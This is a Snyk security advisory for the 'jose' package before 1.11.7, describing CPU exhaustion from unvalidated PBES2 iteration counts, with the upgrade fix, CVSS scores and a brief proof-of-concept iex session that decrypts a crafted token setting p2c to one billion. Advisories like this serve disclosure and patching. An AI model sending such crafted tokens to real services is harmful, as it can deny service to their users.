Resource Exhaustion Affecting jose package, versions <1.11.7


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.05% (17th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-HEX-JOSE-6468183
  • published 20 Mar 2024
  • disclosed 19 Mar 2024
  • credit P3ngu1nW

How to fix?

Upgrade jose to version 1.11.7 or higher.

Overview

Affected versions of this package are vulnerable to Resource Exhaustion due to improper validation of the p2c (PBES2 Count) value in a JOSE header. An attacker can cause excessive CPU consumption by sending crafted JOSE headers.

PoC

iex(1)> jwk_secret = JOSE.JWK.from_oct("secret")

#JOSE.JWK<keys: :undefined, fields: %{}, ...>

iex(2)> JOSE.JWE.block_decrypt(jwk_secret, "eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIiwicDJjIjoxMDAwMDAwMDAwLCJwMnMiOiJmbmcxUVJNU1ljWDljb2s4RUhHWWhnIn0.YZBzMWbcndBWvOjf4c3R2oPtRsRqSKDc.rv6Qc-lKE0WA6-MI.bHE.hNkOsML8iJJWbd1KwDEGHQ") |> elem(0)

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
5.3 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    Low